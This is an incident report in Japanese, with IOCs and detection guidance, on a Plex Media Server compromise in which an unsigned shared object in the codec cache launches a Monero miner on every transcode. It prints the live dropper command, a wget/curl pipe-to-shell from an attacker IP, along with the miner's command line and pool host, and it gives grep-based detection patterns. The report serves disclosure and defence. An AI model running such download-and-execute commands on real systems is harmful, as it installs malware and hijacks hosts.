
インシデント報告書:Plex Media Serverのコーデックキャッシュ内の未署名.soがトランスコードのたびにドロッパーを実行(CVE-2026-96656)— IOC、STIX、YARA
.soが、トランスコードのたびにMoneroマイナーを実行インシデント発生日: 2026-10-17 → 2026-10-18 (UTC+02:00)
脆弱性: CVE-2026-96656 (CVSS 4.0: 8.6、CISA割り当て) — Plex Media Server 1.43.3.10861で修正済み
影響範囲: Plex Media Server 1.43.2.10687 (Linux、公式linuxserver/plexコンテナ)
ステータス: 封じ込め済み。ホストの再構築は不要 (コーデックキャッシュ外にディスク上の永続化なし)
Plexサーバーへのアクセス権を持つ攻撃者が、zz45fbb275.soという名前の未署名の共有オブジェクトをアプリケーションのコーデックディレクトリに配置しました。このディレクトリはPlex自身が内容を生成し、FFMPEG_EXTERNAL_LIBSを介してすべてのトランスコーダーに渡されるものです。このオブジェクトは何もエクスポートせず、依存関係も宣言していません。そのペイロード全体は単一の.init_arrayコンストラクタであり、トランスコーダーがdlopen()した瞬間に実行されます。
したがって、すべてのトランスコード — クライアントが再生ボタンを押した場合や、ライブラリのサムネイル/解析ジョブ — がそのたびに以下を再実行していました:
/bin/sh -c "(wget http://217.60.194.116/docker -O- || curl http://217.60.194.116/docker -o-)|sh"
x12345(xmrig 由来の RandomX マイナー)をダウンロードし、--rig-id plexdocker を付けて ota.proxystream.st:3333 に対して起動していました。cron ジョブも、systemd ユニットも、rc ファイルの編集も、改変されたバイナリも存在しませんでした。コーデックキャッシュこそが永続化の仕組みでした。 マイナーだけを kill しても、次の再生時にホストが再感染しました。
| 時刻 | イベント |
|---|---|
| 10月17日 07:50 | 45.194.92.222 からの最初の WAN セッション。リクエストは guest として認証され、その後 Companion プレイヤーを登録し、/player/* およびエージェントエンドポイントを操作 |
| 10月17日 17:20 | …/Plex Media Server/Codecs/c75335c-…-linux-x86_64/ に zz45fbb275.so が作成される(ディレクトリの mtime が変化。他のファイルは出現せず) |
| 10月17日 17:23 | /tmp/x12345 が書き込まれる(8,350,992 バイト) |
| 10月17日 17:40 | マイナーが稼働中: ./x12345 --donate-level 5 -o ota.proxystream.st:3333 --rig-id plexdocker、CPU 使用率 ~127 % |
| 10月18日 10:48 | その後のトランスコードによって2つ目のドロッパーチェーンが起動 — ペイロードはオンデマンドで再実行される |
| 10月18日 11:14 | 検出: マイニングプロセスの PPid がコンテナの PID 1 を指していることを確認 |
| 10月18日 11:20–11:35 | 封じ込め: .so を削除、Plex を 1.43.4 に更新、32400 への WAN アクセスを遮断 |
サーバーはインターネットから到達可能でした(Plex 自身の UPnP ポートマッピングによる)。Plex のログには、送信元 45.194.92.222 が guest として認証し、.so が出現したまさにその分にエージェント呼び出しを発行したことが記録されています。2つ目のアドレス 91.92.40.202 も guest 認証で出現しています。
CVE-2026-96656 の公開された説明は、このアーティファクトと正確に一致します:
Plex Media Server 1.43.3.10861 より前のバージョンでは、管理者ユーザーがロード時に実行される可能性のある任意のファイルを書き込むことができます。設定項目
TranscoderH264Optionsは、トランスコードのたびに x264 のオプション文字列にそのまま追加されます。起動時、すべての .so ファイルは署名、実行ビット、シンボルのチェックなしで実行されます。
明確に述べておくべき2つの帰結:
PR:H)。上記の guest 認証リクエストだけではファイル書き込みを説明できないため、リクエストがどのように行われたかにかかわらず、サーバーの admin トークンは侵害されたものとして扱わなければなりません。.so ファイルに対しては、実行ビット、署名、シンボルのチェックが一切行われません。そのため、コンストラクタを1つだけ持つ何もしないライブラリが完全なペイロードとなります。ファイルを書き込んだ具体的なリクエストは捕捉できていません — ドロップはパケットキャプチャではなく、ファイルシステムのタイムスタンプと実行チェーンによって裏付けられています。影響を受けたホストの TranscoderH264Options 設定は事後に空であることが判明したため、ファイルの書き込みに使用された値はリセットされたか上書きされたかのいずれかです。これが、事後に再構築できないチェーンの唯一の部分です。
filename : zz45fbb275.so
size : 1,036,800 bytes
sha256 : a9a309154493193c70bf6f805fe70e1bc4e9564e2f0e20cd1600c72587c7e65f
type : ELF64 x86-64, DYN (shared object), stripped
linker : GCC (Ubuntu 11.4.0-1ubuntu1~22.04.3) 11.4.0
NEEDED : none
exports : none
payload : single .init_array entry (0x1000) — runs at dlopen(), before Plex uses it
strings : 69 total; the only meaningful ones are /bin/sh and the dropper command line
コンストラクタはロード時に実行されるため、オブジェクトはコーデックAPIを実装する必要がありません。トランスコーダがライブラリをロードするディレクトリに置かれているだけで十分です。
検出する価値のある配置の詳細:
lib*.so ではありません。コーデックディレクトリ内の正当なファイルはすべてこの形式です(libh264_decoder.so、libhevc_decoder.so など)。zz はおそらく最後にソートされるように選ばれたものです。Codecs/<set-id>-linux-x86_64/)は通常、Plex自身のコーデックダウンロードによってのみ書き込まれ、そのファイルはすべて lib プレフィックスを持っています。EasyAudioEncoder-*/EasyAudioEncoder/EasyAudioEncoder は、そのツリーに属する唯一の他の非libオブジェクトです。filename : x12345 (in /tmp, mode 0777)
size : 8,350,992 bytes
sha256 : b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49
family : xmrig-derived, RandomX (Monero)
cmdline : ./x12345 --donate-level 5 -o ota.proxystream.st:3333 --rig-id plexdocker
--rig-id plexdocker は固定のオペレータタグであり、フローデータやプールテレメトリでのピボット検索に有用です。このプロセスは状態 T(停止)で約 2.3 GB の RSS を保持したまま見つかりました。停止状態は無害ではなく、再開すればハッシュ計算を続けます。
PPid はコンテナの PID 1(s6-svscan)を指していましたが、これは実際の親プロセスがすでに終了していたためです — これは supervision ではなく reparenting です。実際の起動元は共有ソケットペアを通じてのみ可視化されました。ss -xp は sh/wget チェーン、Plex Transcoder、チューナーサービス、Plex サーバーを同じソケットペア上に列挙し、稼働中の Plex Transcoder の子プロセスをたどると、ドロッパーがその子として現れました。トリガーはトランスコード自体でした。
find "$PLEX_CONFIG/Library/Application Support/Plex Media Server/Codecs" \
-type f \( -name '*.so' -o -name '*.so.*' \) ! -name 'lib*' -ls
EasyAudioEncoder 以外のヒットはすべて疑わしいものです。また、対応する lib*.so が追加されていないのに mtime が変更されたコーデックディレクトリにもフラグを立ててください。
CVE-2026-96656 が任意ファイル書き込みに悪用する設定を確認してください:
grep -o 'TranscoderH264Options="[^"]*"' "$PLEX_CONFIG/Library/Application Support/Plex Media Server/Preferences.xml"
空でない値は読む価値がある — これはすべてのトランスコード時に x264 のオプション文字列へそのまま追記され、そこにファイル名らしきものが含まれていればディスクに書き込まれる。このホストではインシデント後に空になっていたため、存在しないことは不在の証明にはならない。ファイルの mtime と照合すること。
# bracket the literals: the plain strings also match the shell you type them into
ps -eo pid,ppid,user,etime,args | grep -E 'donate[-]level|proxystream[.]st|x1[0-9]{4}( |$)'
ss -tunp | grep -E ':(3333|3334|14444|45560)\b'
pkill -f をパターンそのままで実行すると、それを実行しているシェル自身が強制終了されます(そのパターンはそのシェルのコマンドラインの一部であるため)— ブラケット形式を使うか、PID を指定して強制終了してください。
WAN アドレスからのゲスト認証に続いてエージェント/コンパニオンのアクティビティが発生し、同じ分に codec ディレクトリに新しいファイルが出現するかどうかを確認します:
Auth: authenticating user as guest
Request: [<wan-ip>:<port> (WAN)] GET /identity
Request: [<wan-ip>:<port> (WAN)] GET /player/proxy/poll …
Request: [127.0.0.1:<port> (Loopback)] POST /system/agents/z/searchOne …
yara/plex_codec_implant.yar — 3つのルール: コンストラクタのみのドロッパーオブジェクト、
ここで使用されたxmrigビルド、および汎用的なリネーム済みxmrigルール。すべて文字列/ELFベースであり、
実行にサンプルは不要です。
.soを削除する — ローダーが存在する状態でマイナーをkillしても、再び起動されるだけです。sh/wget/マイナーチェーンをPIDでkillする (リテラルIPを指定したpkill -fは
自身のシェルにマッチするため、217[.]60[.]194のような文字クラスを使用してください)。Docker is used for versioning skip update check)。イメージを
pullしてコンテナを再作成する必要があります。OUTPUTおよびDOCKER-USERでブロックする (転送された
コンテナトラフィックはOUTPUTに到達しません)。netfilter-persistent saveで永続化します。lib以外の.soファイルを隔離する5分間隔のジョブ。| 種類 | 値 | コンテキスト |
|---|---|---|
| sha256 | a9a309154493193c70bf6f805fe70e1bc4e9564e2f0e20cd1600c72587c7e65f | Plexコーデックキャッシュインプラント (1,036,800 B) |
| sha256 | b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49 | x12345、xmrig/RandomX (8,350,992 B) |
| url | http://217.60.194.116/docker | インプラントが取得するドロッパー。同じホストが/plex、/x、/lmaoi686も配信している — このホスト上の任意のパスをドロッパーとして扱うこと |
| ip | 217.60.194.116 | ドロッパーホスト — AS213900 RS Computers L.L.C (AE) |
| domain | ota.proxystream.st → 77.90.185.205 | マイニングプール、tcp/3333 |
| ip | 77.90.185.205 | プール — AS213790 Limited Network LTD (GB) |
| ip | 45.194.92.222 | セッション送信元 — AS215925 VPSVAULT.HOST LTD (GB) |
| ip | 91.92.40.202 | セッション送信元 — AS197170 TechTies Inc. (SC) |
| path | …/Codecs/<set-id>-linux-x86_64/zz*.so | ドロップ先 |
| path | /tmp/x12345、/tmp/sh.lock | マイナー + 単一インスタンスロック |
| arg | --rig-id plexdocker、--donate-level 5 | オペレータータグ |
機械可読: iocs.csv、stix-bundle.json。
ld.so.preloadなし、authorized_keysの変更なし、シェルrcの編集なし。